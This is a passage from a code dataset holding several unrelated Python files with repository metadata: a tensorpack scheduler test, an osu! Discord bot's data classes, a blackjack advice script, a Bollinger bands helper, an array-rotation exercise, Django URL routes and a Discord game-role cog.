ScheduledHyperParamSetter(\n ObjAttrParam(self._param_obj, ParamObject.PARAM_NAME),\n [(10, 0.3), (20, 0.4), (30, 0.5)])\n history = self._create_trainer_with_scheduler(scheduler, 1, 92, starting_epoch=90)\n self.assertEqual(len(history), 0)\n\n def testWarningStartInTheMiddle(self):\n scheduler = ScheduledHyperParamSetter(\n ObjAttrParam(self._param_obj, ParamObject.PARAM_NAME),\n [(10, 0.3), (20, 0.4), (30, 0.5)])\n with self.assertLogs(logger=logger._logger, level='WARNING'):\n self._create_trainer_with_scheduler(scheduler, 1, 21, starting_epoch=20)\n\n def testNoWarningStartInTheMiddle(self):\n scheduler = ScheduledHyperParamSetter(\n ObjAttrParam(self._param_obj, ParamObject.PARAM_NAME),\n [(10, 0.3), (20, 1.0), (30, 1.5)])\n with unittest.mock.patch('tensorpack.utils.logger.warning') as warning:\n self._create_trainer_with_scheduler(scheduler, 1, 22, starting_epoch=21)\n self.assertFalse(warning.called)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"google-research/ssl_detection","sub_path":"third_party/tensorpack/tensorpack/callbacks/param_test.py","file_name":"param_test.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":389,"dataset":"github-code","pt":"72"} +{"seq_id":"71920421033","text":"from datetime import datetime\nfrom enum import Enum\nfrom typing import Dict, List, Optional, Tuple, Union\n\nimport pycountry\nfrom ossapi import Beatmap, Beatmapset, GameMode\nfrom ossapi import Mod as OsuMod\nfrom ossapi import RankingType\nfrom ossapi import Score as OsuScore\nfrom ossapi import Statistics\nfrom ossapi.models import Grade as OsuGrade\n\n_VARIANTS = [\"4k\", \"7k\"]\n_TYPES = {\"performance\": [\"pp\", \"performance\"], \"score\": [\"score\"], \"country\": [\"country\"]}\n\n_GAMEMODES = {\n \"osu\": [\"osu\", \"standard\", \"std\"],\n \"taiko\": [\"taiko\"],\n \"fruits\": [\"catch\", \"fruits\", \"ctb\"],\n \"mania\": [\"mania\"],\n}\n\n\nclass MissingValueError(ValueError):\n \"\"\"\n A required value for an argument was missing.\n \"\"\"\n\n def __init__(self, parameter: str):\n self.parameter: str = parameter\n\n\nclass TooManyArgumentsError(IndexError):\n \"\"\"\n Too many arguments were used.\n \"\"\"\n\n\nclass ConflictingArgumentsError(ValueError):\n \"\"\"\n The combination of arguments used isn't allowed.\n \"\"\"\n\n def __init__(self, parameters: List[str]):\n self.parameters: List[str] = parameters\n\n\nclass OutOfRangeError(IndexError):\n \"\"\"\n Value is outside of accepted range.\n \"\"\"\n\n def __init__(self, param: str, value: Union[int, str]):\n self.param = param\n self.value = value\n\n\nclass InvalidCountryError(ValueError):\n \"\"\"\n A country by the given value wasn't found.\n \"\"\"\n\n\nclass ValueFound(Exception):\n \"\"\"\n Just a dummy exception for breaking out of multiple loops.\n \"\"\"\n\n\nclass DoubleArgs(Enum): # List of command args we use that need a value after it\n PP = [\"-pp\", float]\n INDEX = [\"-p\", int]\n RANK = [\"-rank\", int]\n MODE = [\"-mode\", GameMode]\n\n\nclass SingleArgs(Enum): # Just like DoubleArgs but not needing the extra value\n RECENT = \"-r\"\n GUILD = \"-g\"\n ME = \"-me\"\n\n\nclass CommandParams:\n \"\"\"Command parameter search.\n\n Will look for the given parameters and try to set their values if any.\n\n Parameters\n ----------\n params: Tuple[:class:`str`]\n A tuple of the user submitted text.\n single_args: List[Optional[:class:`SingleArgs`]]\n List of which args to look for in `params`.\n double_args: List[Optional[:class:`DoubleArgs`]]\n List of which args with corresponding value to look for in `params`.\n \"\"\"\n\n def __init__(\n self,\n params: Tuple[str],\n single_args: List[Optional[SingleArgs]],\n double_args: List[Optional[DoubleArgs]],\n ) -> None:\n self.user_id: Optional[int] = None\n self.pp: float = 0\n self.r: bool = False\n self.p: Optional[int] = None\n self.rank: Optional[int] = None\n self.g: bool = False\n self.me: bool = False\n self.mode: Optional[GameMode] = None\n\n self.extra_param: Optional[str] = None\n\n params: List[str] = [(x.lower()) for x in params] # Turn tuple to list.\n\n for param in double_args:\n if (\n param.value[0] in params\n ): # Our arg Enum values are a list with first item being the search key.\n index = params.index(param.value[0])\n try: # Try to grab the value of the parameter.\n num = params[index + 1].replace(\",\", \".\")\n except IndexError:\n raise MissingValueError(param.value[0])\n try: # Attempt type conversion\n converted_num = param.value[1](num)\n setattr(self, param.value[0][1:], converted_num)\n params.pop(index + 1)\n params.pop(index)\n except ValueError:\n raise MissingValueError(param.value[0])\n\n for param in single_args:\n if param.value in params:\n params.remove(param.value)\n setattr(self, param.value[1:], True)\n\n if len(params) > 1: # We should never have more than 1 parameter left at this point\n raise TooManyArgumentsError()\n if self.r and self.p is not None:\n raise ConflictingArgumentsError([\"-r\", \"-p\"])\n if self.p is not None: # API limits\n if self.p > 100 or self.p < 1:\n raise OutOfRangeError(\"-p\", 100)\n if self.rank is not None: # API limits\n if self.rank > 10000 or self.rank < 1:\n raise OutOfRangeError(\"-rank\", 10000)\n\n if len(params) == 1: # Some commands have a wildcard like a user so we store it here\n self.extra_param = params[0]\n\n\nclass CommandArgs:\n \"\"\"Command arguments search.\n\n Acts like a converter in that it looks for the values that the\n command expects. Difference here is that we have special handling\n for incompatabilities with different arguments.\n\n Parameters\n ----------\n args: Tuple[:class:`str`]\n A tuple of the user submitted text.\n\n Attributes\n ----------\n mode: :class:`ossapi.GameMode`\n The osu! gamemode provided. Defaults to standard.\n type: :class:`ossapi.RankingType`\n Which type of ranking to use. Default is `RankingType.PERFORMANCE`\n as the other ranking types have lots of incompatible args.\n country: Optional[:class:`str`]\n ISO 3166-1 alpha-2 country code.\n variant: Optional[:class:`str`]\n Either `4k` or `7k`. Only useable if mode is `GameMode.MANIA`\"\"\"\n\n def __init__(self, args: Tuple[str]) -> None:\n self.mode: GameMode = GameMode.OSU\n self.type: RankingType = RankingType.PERFORMANCE\n self.country: Optional[str] = None\n self.variant: Optional[str] = None\n\n args: List[str] = [(x.lower()) for x in args] # Turn tuple to list.\n\n if len(args) > 4: # We only have 4 attributes to look for.\n raise TooManyArgumentsError()\n\n try: # variant\n for arg in args:\n if arg in _VARIANTS:\n self.variant = arg\n args.remove(arg)\n raise ValueFound\n except ValueFound:\n pass\n\n try: # type\n for arg in args:\n for key, type in _TYPES.items():\n if arg in type:\n self.type = RankingType(key)\n args.remove(arg)\n raise ValueFound\n except ValueFound:\n pass\n\n try: # mode\n for arg in args:\n for key, mode in _GAMEMODES.items():\n if arg in mode:\n self.mode = GameMode(key)\n args.remove(arg)\n raise ValueFound\n except ValueFound:\n pass\n\n try: # country\n for arg in args:\n country = pycountry.countries.get(alpha_2=arg)\n if country:\n self.country = arg\n args.remove(arg)\n raise ValueFound\n except ValueFound:\n pass\n\n if len(args) != 0:\n if len(args) == 1 and not self.country:\n if len(args[0]) == 2:\n raise InvalidCountryError\n raise TooManyArgumentsError()\n\n if self.country and self.type is not RankingType.PERFORMANCE:\n raise ConflictingArgumentsError([\"<country>\", \"<type>\"])\n\n if self.variant and self.type is not RankingType.PERFORMANCE:\n raise ConflictingArgumentsError([\"<variant>\", \"<type>\"])\n\n if self.variant and self.mode is not GameMode.MANIA:\n raise OutOfRangeError(self.variant, self.mode.name)\n\n\nclass DatabaseScore:\n \"\"\"A sanitized database osu! score.\n\n Handles conversion of the `dict` to and from the database.\n\n Attributes\n ----------\n id: :class:`int`\n User id.\n score: :class:`int`\n Score for this play.\n username: :class:`str`\n Users name.\n country_code: :class:`str`\n ISO 3166-1 alpha-2 country code.\n accuracy: :class:`float`\n Accuracy for this play.\n mods: :class:`ossapi.Mod`\n Mod combination used for the play.\n max_combo: :class:`int`\n Combo for this play.\n rank: :class:`ossapi.models.Grade`\n Grade for this play.\n created_at: :class:`datetime.datetime`\n When the score was set.\n statistics: :class:`ossapi.Statistics`\n Hit counts for the play.\n \"\"\"\n\n def __init__(self, user_id: int, data: Union[OsuScore, dict]):\n self.id: int = user_id\n self.score: int = None\n self.username: str = None\n self.country_code: str = None\n self.accuracy: float = None\n self.mods: OsuMod = None\n self.max_combo: int = None\n self.rank: OsuGrade = None\n self.created_at: datetime = None\n self.statistics: Statistics = None\n\n if isinstance(data, dict):\n self.id = user_id\n self.score = data[\"score\"]\n self.username = data[\"username\"]\n self.country_code = data[\"country_code\"]\n self.accuracy = data[\"accuracy\"]\n self.mods = OsuMod(data[\"mods\"])\n self.max_combo = data[\"max_combo\"]\n self.rank = OsuGrade(data[\"rank\"])\n self.created_at = datetime.strptime(data[\"created_at\"], \"%Y-%m-%dT%H:%M:%S%z\")\n\n statistics = Statistics()\n statistics.count_miss = data[\"count_miss\"]\n statistics.count_50 = data[\"count_50\"]\n statistics.count_100 = data[\"count_100\"]\n statistics.count_300 = data[\"count_300\"]\n statistics.count_katu = data[\"count_katu\"]\n statistics.count_geki = data[\"count_geki\"]\n\n self.statistics = statistics\n else:\n self.id = data.user_id\n self.score = data.score\n self.username = data.user().username\n self.country_code = data.user().country_code\n self.accuracy = data.accuracy\n self.mods = data.mods\n self.max_combo = data.max_combo\n self.rank = data.rank\n self.created_at = data.created_at\n self.statistics = data.statistics\n\n def to_dict(self) -> Dict[str, Dict[str, Union[float, int, str]]]:\n output = {}\n special = [\"mods\", \"rank\", \"created_at\", \"statistics\"]\n\n # This is a very crude operation for handling this. I'll figure out a way\n # to tidy this up one day when my python knowledge gets better. Maybe some getattr() trickery?\n for i, v in self.__dict__.items():\n if i[:1] == \"_\":\n continue\n if i in special:\n if isinstance(v, (OsuMod, OsuGrade)):\n output[i] = v.value\n elif isinstance(v, datetime):\n output[i] = v.strftime(\"%Y-%m-%dT%H:%M:%S%z\")\n elif isinstance(v, Statistics):\n output[\"count_miss\"] = v.count_miss\n output[\"count_50\"] = v.count_50\n output[\"count_100\"] = v.count_100\n output[\"count_300\"] = v.count_300\n output[\"count_katu\"] = v.count_katu\n output[\"count_geki\"] = v.count_geki\n else:\n output[i] = v\n\n return output\n\n def __str__(self):\n return (\n str({i: v for i, v in self.__dict__.items() if i[:1] != \"_\"})\n if len(self.__dict__) > 0\n else str(self.__class__)\n )\n\n\nclass DatabaseLeaderboard:\n \"\"\"A beatmap leaderboard.\n\n Has both the info for the beatmap along with the scores set on it.\n\n Attributes\n ----------\n id: :class:`int`\n Beatmap id.\n title: :class:`str`\n The title for the beatmap.\n version: :class:`str`\n The difficulty name for the beatmap.\n artist: :class:`str`\n The artist for the beatmap.\n last_update: :class:`datetime.datetime`\n When we know the beatmap was last updated.\n If the API date is newer, this leaderboard should be considered null.\n leaderboard: Dict[:class:`str`, :class:`DatabaseScore`]\n Pairings of user id (represented as `str` due to awkward mongodb behaviour)\n and `DatabaseScore`\n \"\"\"\n\n def __init__(self, data: dict):\n self.id: int = None\n self.title: str = None\n self.version: str = None\n self.artist: str = None\n self.last_updated: datetime = None\n self.leaderboard: Dict[str, DatabaseScore] = {}\n\n if data:\n try:\n beatmap = data[\"beatmap\"]\n self.id = data[\"_id\"]\n self.title = beatmap[\"title\"]\n self.version = beatmap[\"version\"]\n self.artist = beatmap[\"artist\"]\n self.last_updated = datetime.strptime(\n beatmap[\"last_updated\"], \"%Y-%m-%dT%H:%M:%S%z\"\n )\n except KeyError:\n pass\n try:\n leaderboard = data[\"leaderboard\"]\n\n if isinstance(leaderboard, dict):\n scores = {}\n for user_id, score in leaderboard.items():\n scores[str(user_id)] = DatabaseScore(user_id, score)\n\n self.leaderboard = dict(\n sorted(scores.items(), key=lambda item: item[1].score, reverse=True)\n )\n else:\n self.leaderboard = leaderboard\n except KeyError:\n pass\n\n def __str__(self):\n return (\n str({i: v for i, v in self.__dict__.items() if i[:1] != \"_\"})\n if len(self.__dict__) > 0\n else str(self.__class__)\n )\n\n\nclass OsubeatSet:\n \"\"\"A beatmapset for Osubeat.\n\n Attributes\n ----------\n title: :class:`str`\n Title of the set.\n artist: :class:`str`\n Artist of the set.\n cover: :class:`str`\n Cover url of the set.\n \"\"\"\n\n def __init__(self, data: Union[Beatmapset, dict]):\n if isinstance(data, Beatmapset):\n self.title = data.title\n self.artist = data.artist\n self.cover = data.covers.cover\n else:\n self.title = data[\"title\"]\n self.artist = data[\"artist\"]\n self.cover = data[\"cover\"]\n\n\nclass OsubeatMap:\n \"\"\"A beatmap for Osubeat.\n\n Attributes\n ----------\n version: :class:`str`\n Difficulty of the beatmap.\n url: :class:`str`\n Website url of the beatmap.\n id: :class:`int`\n Id of the beatmap.\n beatmapset: :class:`OsubeatSet`\n Set data for the beatmap.\n \"\"\"\n\n def __init__(self, data: Union[Beatmap, dict]):\n self.version: str = None\n self.url: str = None\n self.id: int = None\n self.beatmapset: OsubeatSet = None\n\n if isinstance(data, Beatmap):\n self.version = data.version\n self.url = data.url\n self.id = data.id\n self.beatmapset = OsubeatSet(data.beatmapset())\n else:\n self.version = data[\"version\"]\n self.url = data[\"url\"]\n self.id = data[\"id\"]\n self.beatmapset = OsubeatSet(data[\"beatmapset\"])\n\n def to_dict(self) -> Dict[str, Union[Dict[str, str], int, str]]:\n output = {}\n output[\"version\"] = self.version\n output[\"url\"] = self.url\n output[\"id\"] = self.id\n\n output[\"beatmapset\"] = {}\n output[\"beatmapset\"][\"title\"] = self.beatmapset.title\n output[\"beatmapset\"][\"artist\"] = self.beatmapset.artist\n output[\"beatmapset\"][\"cover\"] = self.beatmapset.cover\n\n return output\n\n\nclass OsubeatUser:\n \"\"\"A user for Osubeat.\n\n Attributes\n ----------\n id: :class:`int`\n Users id.\n username: Optional[:class:`str`]\n Users name.\n country_code: Optional[:class:`str`]\n ISO 3166-1 alpha-2 country code.\n \"\"\"\n\n def __init__(self, user_id: int, username: str = None, country_code: str = None):\n self.id = user_id\n self.username = username\n self.country_code = country_code\n\n\nclass OsubeatScore:\n \"\"\"A score for Osubeat.\n\n Attributes\n ----------\n score: Optional[:class:`int`]\n Score for this play.\n accuracy: Optional[:class:`float`]\n Accuracy for this play.\n max_combo: Optional[:class:`int`]\n Combo for this play.\n rank: Optional[:class:`ossapi.models.Grade`]\n Grade for this play.\n created_at: Optional[:class:`datetime.datetime`]\n When the play was set.\n mods: Optional[:class:`ossapi.Mod`]\n Mod combination used for the play.\n statistics: Optional[:class:`ossapi.Statistics`]\n Hit counts for the play.\n user: Optional[:class:`OsubeatUser`]\n User data for this play.\n \"\"\"\n\n def __init__(self, data: Union[OsuScore, dict]):\n self.score: int = None\n self.accuracy: float = None\n self.max_combo: int = None\n self.rank: OsuGrade = None\n self.created_at: datetime = None\n self.mods: OsuMod = None\n self.statistics: Statistics = None\n self.user: OsubeatUser = None\n\n if isinstance(data, OsuScore):\n self.score = data.score\n self.accuracy = data.accuracy\n self.max_combo = data.max_combo\n self.rank = data.rank\n self.created_at = data.created_at\n self.mods = data.mods\n self.statistics = data.statistics\n\n user = data.user()\n self.user = OsubeatUser(user.id, user.username, user.country_code)\n else:\n self.score = data[\"score\"]\n\n self.user = OsubeatUser(data[\"user\"][\"id\"])\n\n try:\n self.user.username = data[\"user\"][\"username\"]\n self.user.country_code = data[\"user\"][\"country_code\"]\n\n self.accuracy = data[\"accuracy\"]\n self.max_combo = data[\"max_combo\"]\n self.rank = OsuGrade(data[\"rank\"])\n self.created_at = datetime.strptime(data[\"created_at\"], \"%Y-%m-%dT%H:%M:%S%z\")\n self.mods = OsuMod(data[\"mods\"])\n\n self.statistics = Statistics()\n self.statistics.count_geki = data[\"statistics\"][\"count_geki\"]\n self.statistics.count_katu = data[\"statistics\"][\"count_katu\"]\n self.statistics.count_300 = data[\"statistics\"][\"count_300\"]\n self.statistics.count_100 = data[\"statistics\"][\"count_100\"]\n self.statistics.count_50 = data[\"statistics\"][\"count_50\"]\n self.statistics.count_miss = data[\"statistics\"][\"count_miss\"]\n except:\n pass\n\n def to_dict(\n self,\n ) -> Dict[str, Union[Dict[str, Union[int, str]], Dict[str, int], float, int, str]]:\n output = {}\n\n output[\"score\"] = self.score\n output[\"accuracy\"] = self.accuracy\n output[\"max_combo\"] = self.max_combo\n output[\"rank\"] = self.rank.value\n output[\"created_at\"] = self.created_at.strftime(\"%Y-%m-%dT%H:%M:%S%z\")\n output[\"mods\"] = self.mods.short_name()\n\n output[\"statistics\"] = {}\n output[\"statistics\"][\"count_geki\"] = self.statistics.count_geki\n output[\"statistics\"][\"count_katu\"] = self.statistics.count_katu\n output[\"statistics\"][\"count_300\"] = self.statistics.count_300\n output[\"statistics\"][\"count_100\"] = self.statistics.count_100\n output[\"statistics\"][\"count_50\"] = self.statistics.count_50\n output[\"statistics\"][\"count_miss\"] = self.statistics.count_miss\n\n output[\"user\"] = {}\n output[\"user\"][\"id\"] = self.user.id\n output[\"user\"][\"username\"] = self.user.username\n output[\"user\"][\"country_code\"] = self.user.country_code\n\n return output\n\n\nclass Osubeat:\n \"\"\"A Osubeat.\n\n Attributes\n ----------\n beatmap: Optional[:class:`OsubeatMap`]\n Map data for this beat.\n mode: Optional[:class:`ossapi.GameMode`]\n Which osu! gamemode this beat uses.\n mods: List[Optional[:class:`ossapi.Mod`]]\n List of mod combinations that scores are allowed to use for this beat.\n created_at: Optional[:class:`datetime.datetime`]\n When the beat was started.\n ends: Optional[:class:`datetime.datetime`]\n When the beat is supposed to end.\n channel_id: Optional[:class:`int`]\n The channel id the beat was announced in and winner will be announced.\n message_id: Optional[:class:`int`]\n The message id of the announcement.\n pinned: :class:`bool`\n Whether or not the beat announcement was pinned.\n \"\"\"\n\n def __init__(self, data: dict = None):\n self.beatmap: OsubeatMap = None\n self.mode: GameMode = None\n self.mods: List[OsuMod] = []\n self.created_at: datetime = None\n self.ends: datetime = None\n self.channel_id: Optional[int] = None\n self.message_id: Optional[int] = None\n self.pinned: bool = False\n\n if data is not None:\n self.beatmap = OsubeatMap(data[\"beatmap\"])\n self.mode = GameMode(data[\"mode\"])\n self.created_at = datetime.strptime(data[\"created_at\"], \"%Y-%m-%dT%H:%M:%S%z\")\n self.ends = datetime.strptime(data[\"ends\"], \"%Y-%m-%dT%H:%M:%S%z\")\n for mod in data[\"mods\"]:\n self.mods.append(OsuMod(mod))\n\n try: # These are the only ones that may never get set.\n self.channel_id = data[\"channel\"]\n self.message_id = data[\"message\"]\n self.pinned = data[\"pinned\"]\n except KeyError:\n pass\n\n def to_dict(\n self,\n ) -> Dict[\n str,\n Union[\n Dict[str, Union[Dict[str, str], int, str]], List[Union[OsuMod, str]], int, str, bool\n ],\n ]:\n output = {}\n output[\"beatmap\"] = self.beatmap.to_dict()\n output[\"mode\"] = self.mode.value\n output[\"created_at\"] = self.created_at.strftime(\"%Y-%m-%dT%H:%M:%S%z\")\n output[\"ends\"] = self.ends.strftime(\"%Y-%m-%dT%H:%M:%S%z\")\n\n if self.channel_id is not None:\n output[\"channel\"] = self.channel_id\n output[\"message\"] = self.message_id\n output[\"pinned\"] = self.pinned\n\n mods = []\n for mod in self.mods:\n mods.append(mod.short_name())\n\n output[\"mods\"] = mods\n\n return output\n","repo_name":"ItsMestro/Angiedale-Cogs","sub_path":"osu/utils/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":22362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74345794471","text":"\"\"\"\nMake a function that advises a player on the best next move in a round of blackjack.\nFor now, just use 15 as a Hit/Stay Threshold. Feel free to add testable features.\n\n>>> advise_player(10, 5)\n15 Hit.\n\n>>> advise_player('Q', 5)\n15 Hit.\n\n>>> advise_player('A', 'K')\n21 Blackjack!\n\n>>> advise_player('A', 'A')\n12 Hit.\n\n>>> advise_player('J', 'K')\n20 Stay.\n\n\n**************************************************************************************************\nFurther development has been moved to ~/Documents/abw_codes/Git/projects/card_games as of 1/8/17\n**************************************************************************************************\n\"\"\"\n\nfrom chrono_ordinals import chron_ord\n\ncards = {str(x): x for x in range(2, 11)}\nfaces = {'J': 10, 'Q': 10, 'K': 10, 'A': 11}\ncards.update(faces)\n\nhand = []\n\ndef advise_player_21(hand):\n \"\"\"\n Check what the smartest move is given a hand of cards and the rules of Blackjack.\n \"\"\"\n\n total = 0\n a_count = hand.count('A')\n\n try:\n thresh = int(input(\"What should the threshold for hitting be? (15 suggested) \"))\n except ValueError:\n print(\"Please enter a numeral (eg. 15)\")\n advise_player_21(hand)\n\n\n if a_count > 0:\n for i in range(a_count):\n hand.pop(hand.index('A'))\n\n for i in hand:\n total += cards[i]\n\n while total + 10 < 21 and a_count > 0:\n total += 11\n a_count -= 1\n\n while total < 21 and a_count > 0:\n total += 1\n a_count -= 1\n\n else:\n for i in hand:\n total += cards[i]\n\n if total > 21:\n print(\"{} You lose!\".format(total))\n elif total == 21:\n print(\"{} Blackjack!\".format(total))\n elif total <= thresh:\n print(\"{} Hit.\".format(total))\n elif total > thresh:\n print(\"{} Stay.\".format(total))\n\n\ndef hand_builder():\n \"\"\"\n Allows for user input of cards in hand.\n \"\"\"\n try:\n hand_num = int(input(\"How many cards do you have in your hand? \"))\n except ValueError:\n print(\"Please enter a numeral (eg. 3)\")\n hand_builder()\n\n for i in range(1, hand_num+1):\n c1 = input(\"What is your {} card? \".format(chron_ord(i)))\n\n if c1 == '10':\n pass\n elif len(c1) > 1:\n print(\"Please enter one card using it's first initial or it's number (eg. A, 10, 4).\")\n hand_builder()\n\n if c1 not in cards:\n print(\"Please enter a valid playing card (2-10, J, Q, K, A)!\")\n hand_builder()\n\n hand.append(c1)\n\n\n return hand\n\ndef run():\n hand = hand_builder()\n\n advise_player_21(hand)\n\nrun()\n","repo_name":"awarnes/projects","sub_path":"card_games/21_advice.py","file_name":"21_advice.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23955662312","text":"import pandas as pd\nimport numpy as np\n\nclass bollinger_bands():\n\n def __init__(self,df,period=False):\n self.data = pd.DataFrame(index=df.index)\n self.df = df.reset_index()\n if period:\n self.df = self.df.drop(columns=['Datetime'])\n else:\n self.df = self.df.drop(columns=['Date'])\n self.df = self.df['Close']\n \n def standard_dev(self):\n stdev = self.df.std()\n return stdev\n def bands(self):\n self.data['Band_upper'] = (self.df + self.standard_dev()).values\n self.data['Band_lower'] = (self.df - self.standard_dev()).values\n return self.data\n","repo_name":"ekshusingh/Algorithmic","sub_path":"Bands.py","file_name":"Bands.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18304112291","text":"def rotate(nums, k):\n # (i + k) % length of array\n n = len(nums)\n a = [0] * n\n for i in range(n):\n a[(i + k) % n] = nums[i]\n return a\n\n\ndef rotate_2(nums, k):\n # Taking advantage of python's list indexing\n k = k % len(nums)\n nums[:] = nums[-k:] + nums[:-k]\n return nums\n\n\nif __name__ == '__main__':\n nums = [1, 2, 3, 4, 5, 6, 7]\n k = 3\n print(rotate(nums, k))\n print(rotate_2(nums, k))\n","repo_name":"georgeerol/PythonCodingPractice","sub_path":"leetcode/rotate_array.py","file_name":"rotate_array.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13840670517","text":"from django.urls import path\nfrom .views import QuizListView, quiz_view, quiz_data_view, save_quiz_view, HomePageView\n\napp_name = \"quizes\"\n\nurlpatterns = [\n path(\"\", HomePageView.as_view(), name=\"main-view\"),\n path(\"list/\", QuizListView.as_view(), name=\"quiz-list\"),\n path(\"list/<pk>/\", quiz_view, name=\"quiz-view\"),\n path(\"list/<pk>/save/\", save_quiz_view, name=\"save-view\"),\n path(\"list/<pk>/data/\", quiz_data_view, name=\"quiz-data-view\"),\n]\n","repo_name":"dt50/recruitment_personnel","sub_path":"quizes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31955679364","text":"import discord\nfrom discord.ext import commands\n\nfrom . import bot_basics\nfrom . import utility\nfrom .errors import AuthorNotPlaying\nfrom .interactions import ComponentCallback\nfrom .interactions.interaction import ComponentInteraction\nfrom .utility import get_member, InvalidRequest\n\n\n# TODO: IDEA: change commands to message reactions or buttons\n\n\ndef proper_channel(): # TODO: move to checks\n async def predicate(ctx):\n faction = bot_basics.bot.game.nights[-1].active_faction\n if faction is not None and ctx.channel != faction.channel:\n raise commands.NoPrivateMessage\n if faction is None and ctx.channel.type != discord.ChannelType.private:\n raise commands.PrivateMessageOnly\n return True\n\n return commands.check(predicate)\n\n\nclass PoleceniaPostaci(commands.Cog, name=\"Polecenia postaci i frakcji\",\n command_attrs=dict(enabled=False, hidden=True)):\n\n def __init__(self, bot):\n self.bot = bot\n self.lock = False\n add = bot.add_component_callback\n add(ComponentCallback('reveal', self.reveal_role))\n add(ComponentCallback('role_action_cancel', self.role_action_cancel))\n add(ComponentCallback('role_wins_first', self.role_wins_first))\n add(ComponentCallback('role_wins_second', self.role_wins_second))\n add(ComponentCallback('role_veto', self.role_veto))\n \n def cog_unload(self):\n rm = self.bot.remove_component_callback\n rm('reveal')\n rm('role_action_cancel')\n rm('role_wins_first')\n rm('role_wins_second')\n rm('role_veto')\n\n async def cog_check(self, ctx):\n return not self.lock\n\n async def cog_before_invoke(self, ctx):\n self.lock = True\n\n async def cog_after_invoke(self, ctx):\n self.lock = False\n\n def _get_role(self, member):\n try:\n return self.bot.game.player_map[member].role_class\n except KeyError:\n raise AuthorNotPlaying from None\n\n async def reveal_role(self, ctx: ComponentInteraction):\n \"\"\"For usage of reveal button\"\"\"\n member = get_member(ctx.author.id) # ctx.author will probably be of type discord.User\n role = self._get_role(member)\n ability = role.usable_ability('wins', 'reveal')\n await role.new_activity(ctx, ability)\n await ctx.edit_message(components=[])\n\n async def role_action_cancel(self, ctx: ComponentInteraction):\n \"\"\"\"For usage of canceling day changing (duel, hang) actions button\"\"\"\n member = get_member(ctx.author.id) # ctx.author will probably be of type discord.User\n role = self._get_role(member)\n await role.new_activity(ctx, 'day_refuse')\n\n async def role_wins_first(self, ctx: ComponentInteraction):\n \"\"\"For usage of Judge's button for change duel result\"\"\"\n member = get_member(ctx.author.id)\n role = self._get_role(member)\n try:\n target = self.bot.game.day.state.author\n except AttributeError:\n pass\n else:\n await role.new_activity(ctx, 'wins', target)\n\n async def role_wins_second(self, ctx: ComponentInteraction):\n \"\"\"For usage of Judge's button for change duel result\"\"\"\n member = get_member(ctx.author.id)\n role = self._get_role(member)\n try:\n target = self.bot.game.day.state.subject\n except AttributeError:\n pass\n else:\n await role.new_activity(ctx, 'wins', target)\n \n async def role_veto(self, ctx: ComponentInteraction):\n member = get_member(ctx.author.id)\n role = self._get_role(member)\n await role.new_activity(ctx, \"peace\")\n\n async def command_template(self, ctx, member, operation):\n author = get_member(ctx.author.id)\n try:\n faction = self.bot.game.nights[-1].active_faction\n if faction is not None and faction == self.bot.game.nights[-1].active_role:\n await faction.new_activity(ctx, operation, member)\n else:\n await self.bot.game.player_map[author].role_class.new_activity(ctx, operation, member)\n except InvalidRequest as err:\n await ctx.send(err.msg)\n except KeyError as err:\n await ctx.message.delete(delay=11)\n await ctx.send(\"Nie grasz w tej grze\", delete_after=10)\n\n @commands.command(name='śledź')\n @commands.dm_only()\n async def follow(self, ctx, *, member):\n '''Służy do śledzenia'''\n await self.command_template(ctx, member, \"follow\")\n\n @commands.command(name='lustruj')\n @commands.dm_only()\n async def mirror(self, ctx, *, member):\n '''Służy do zlustrowania'''\n await self.command_template(ctx, member, \"mirror\")\n\n @commands.command(name='kopiuj')\n @commands.dm_only()\n async def copy_it(self, ctx):\n '''Służy do skopiowania zdolności'''\n await self.command_template(ctx, None, \"copy\")\n\n @commands.command(name='heretyk')\n @proper_channel()\n async def heretic(self, ctx, *, member):\n '''Służy do sprawdzenia czy osoba jest heretykiem'''\n await self.command_template(ctx, member, \"heretic\")\n\n @commands.command(name='przeszukaj', aliases=['przesz'])\n @proper_channel()\n async def research(self, ctx):\n '''/&przesz/Służy do przeszukania sprawdzanej osoby'''\n await self.command_template(ctx, None, \"research\")\n\n @commands.command(name='daj')\n @proper_channel()\n async def special_hold(self, ctx, *, member):\n '''Awaryjne oddawanie posążka w razie przerwania gry'''\n await self.command_template(ctx, member, \"sphold\")\n\n @commands.command(name='dobij')\n @proper_channel()\n async def finoff(self, ctx):\n '''Służy do zabicia sprawdzanej osoby'''\n await self.command_template(ctx, None, \"finoff\")\n\n @commands.command(name='posiadacze', aliases=['posiad'])\n @proper_channel()\n async def holders(self, ctx, *, member):\n '''/&posiad/Służy do sprawdzenia, czy osoba jest z frakcji posiadaczy posążka'''\n await self.command_template(ctx, member, \"holders\")\n\n @commands.command(name='spal')\n @commands.dm_only()\n async def burn(self, ctx, *, member):\n '''Służy biskupowi do zabicia i ujawnienia się'''\n self.bot.game.nights[-1].bishop_base = ctx\n author = get_member(ctx.author.id)\n utility.lock = True\n try:\n await self.bot.game.player_map[author].role_class.new_activity(ctx, \"burn\", member)\n except InvalidRequest as err:\n await ctx.send(err.msg)\n except KeyError:\n await ctx.send(\"Nie grasz w tej grze\")\n raise\n utility.lock = False\n\n @commands.command(name='podłóż', aliases=['podł'])\n @proper_channel()\n async def plant(self, ctx, *, member):\n '''/&podł/Służy do podłożenia posążka przez Cichą Stopę'''\n await self.command_template(ctx, member, \"plant\")\n\n @commands.command(name='ograj')\n @proper_channel()\n async def cheat(self, ctx, *, member):\n '''Służy do ogrania osoby przez Szulera'''\n await self.command_template(ctx, member, \"cheat\")\n\n @commands.command(name='ziółka', aliases=['zioł'])\n @proper_channel()\n async def herbs(self, ctx, *, member):\n '''/&zioł/Służy do podłożenia ziółek przez Szamankę'''\n await self.command_template(ctx, member, \"herb\")\n\n 